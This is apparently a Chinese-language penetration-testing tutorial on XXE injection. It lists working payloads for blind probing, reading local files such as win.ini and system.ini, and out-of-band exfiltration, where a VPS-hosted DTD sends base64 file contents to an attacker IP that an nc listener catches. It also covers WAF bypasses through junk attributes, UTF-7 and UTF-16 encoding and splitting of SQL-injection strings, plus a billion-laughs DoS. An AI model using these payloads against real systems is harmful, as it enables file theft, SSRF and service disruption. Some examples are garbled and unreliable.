https://mp.weixin.qq.com/s/Kr2o-sSnAkSoyKRpjjK2yg
https://www.anquanke.com/post/id/209826

简单介绍

  1. 当目标运行我们引用外部实体时,可通过构造恶意数据,执行任意文件读取,内网端口探测,攻击内网,甚至命令执行——安装了expect扩展。

XXE主要由DTD文档构成,因此先介绍DTD,如下所示红色部分为DTD
image.png
1、开头必须声明为XML <?xml version=”1.0”?>
2、第二行为<!DOCTYPE 根元素 [元素声明]>

  1. 例如 <!DOCTYPE NOTE //声明此文档为NOTE类型
  2. <!DOCTYPE ANY //也可以为ANY
  3. <!DOCTYPE ROOT //ROOT之类

3、DTD有内外引用两种方式
1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”> PUBLIC也是可以的,和SYSTEM一样
DTD的实体声明有三种方式
(1)内部实体声明
<!ENTITY 实体名称 “实体的值”>
例如:<!ELEMENT note (message+)>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM “URI”>
例如: <!ENTITY foo SYSTEM “file:///etc/passwd”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
例如:<!ENTITY %remote SYSTEM “http://119.23.14.70:8080/xxe.xml”>

基础的XXEpyaload

  1. burp搜索XML看是否存在相关XML字段
  2. 或自己修改content-type application/xml Content-type: text/xml

1、盲探测

向某个网站的某个端口发送一条请求,成功建立的请求持续时间会特别长

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE ANY[
  3. <!ENTITY Quan SYSTEM "http://6w3pkd.dnslog.cn">
  4. ]>
  5. <root>&Quan;</root>
image.png image.png

2、有回显的读取文件

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root[
  3. <!ENTITY file PUBLIC "data" "file:///c:/windows/win.ini">
  4. ]>
  5. <user><username>&file;</username><password>xxxx</password></user>

注意看,此处有回显是因为把&file;引入到了username的地方,而username原本的地方就是有回显的。
image.png

3、无回显的读取文件

1、在VPS上创建文件xxe.dtd 内容为如下

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
  3. <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xx.156.10.245:22222?p=%file;'>">

image.png
2、开启端口python -m SimpleHTTPServer 11111
3、开启nc -lvvp 22222
4、在存在XXE漏洞的网站输入payload
5、发送post包如下

  1. <!DOCTYPE convert [
  2. <!ENTITY % remote SYSTEM "http://xx.156.10.245:11111/xxe.dtd">
  3. %remote;%int;%send;
  4. ]>

发送可以成功读取ini文件
image.png
image.png
直接回显ini
image.png

bypass

开启一个环境,使用payload测试,只要能解析即可达到目的,这里的环境就不多说了,随意的XXE靶场即可

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE note[
  3. <!ENTITY ssrf SYSTEM "http://81.x.x.47:1234/d">
  4. ]>
  5. <reset>
  6. &ssrf;
  7. </reset>

这是没有经过混淆的,success
image.png

垃圾数据bypasswaf

image.png
可以是这种没用的属性,也可以是很多空格,换行之类的

  1. <?xml version="1.0" encoding="utf-8" xxxxxxxxxxxxxxxxxx a="adasdasddddddddddddddddddddddddddsxxxxxxxxdddddddddddddddddddddddddddddddddddd"
  2. asdasdasdasd
  3. ?>
  4. <!DOCTYPE note[
  5. <!ENTITY ssrf SYSTEM "http://81.68.xx.xx:1234/lajishuju222">
  6. ]>
  7. <reset>
  8. &ssrf;
  9. </reset>

image.png

字符编码绕过

iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件
UTF7
<?xml version=”1.0” encoding=”utf-7”?>
直接转换修改8为7,内容不用做任何改变
image.png
真正的utf7

  1. <?xml version="1.0" encoding="utf-7"?>
  2. +ADwAIQ-DOCTYPE note+AFs
  3. +ADwAIQ-ENTITY ssrf SYSTEM +ACI-http://81.68.xx.xx:1234/utf777+ACIAPg
  4. +AF0APg
  5. +ADw-reset+AD4
  6. +ACY-ssrf+ADs
  7. +ADw-/reset+AD4
  8. +ADw-a+AD4
  9. +ADw-foo+AD4-foo1 foo2+ADw-/foo+AD4APA-foofoo/+AD4
  10. +ADw-/a+AD4

image.png

ISO-8859-1
<?xml version=”1.0” encoding=”ISO-8859-1”?>
直接修改encoding也能解析
image.png

UTF16
UTF16会将每一个字符前面添加上00,因此如果你直接复制粘贴是不行的,需要使用burp的 paste file的功能
直接使用Linux进行转换即可iconv -f utf8 -t utf16 1.xml>exp.xml
这个测试暂时失败,也不知道哪里有了问题,我用的php环境

https://mohemiv.com/tags/xxe/

字符串逻辑分割Bypass

这里指的是XXE里面带有的字符串被拦截的情况
1、使用CDATA标签进行字符串分割:<![CDATA[o]]>

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <root>
  3. <test att="foo">
  4. "uni<![CDATA[o]]>n select 1 -- -
  5. </test>
  6. </root>

2、注释分割:
7

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <root>
  3. <test att="foo">
  4. " uni<!--foo-->on select 1 -- -
  5. </test>
  6. </root>

3、PI标签分割<?foo1 foo2 ?>

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <root>
  3. <test att="foo">
  4. " uni<?foo1 foo2 ?>on select 1 -- -
  5. </test>
  6. </root>

4、额外标签

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <root>
  3. <test att="foo">
  4. " uni<foo>foo1 foo2</foo><foofoo/>on select 1 -- -
  5. </test>
  6. </root>

如下图所示
image.png
image.png

实体化编码

使用方法同上,当存在xml格式的sql注入Bypass类似情况
image.png

DOS测试

这个暂时没有测试成功

  1. <!--?xml version="1.0" ?-->
  2. <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
  3. <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
  4. <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  12. <tag>&lol9;</tag>

如果遇到XXE你想用更多的payload

可以看这个
https://github.com/payloadbox/xxe-injection-payload-list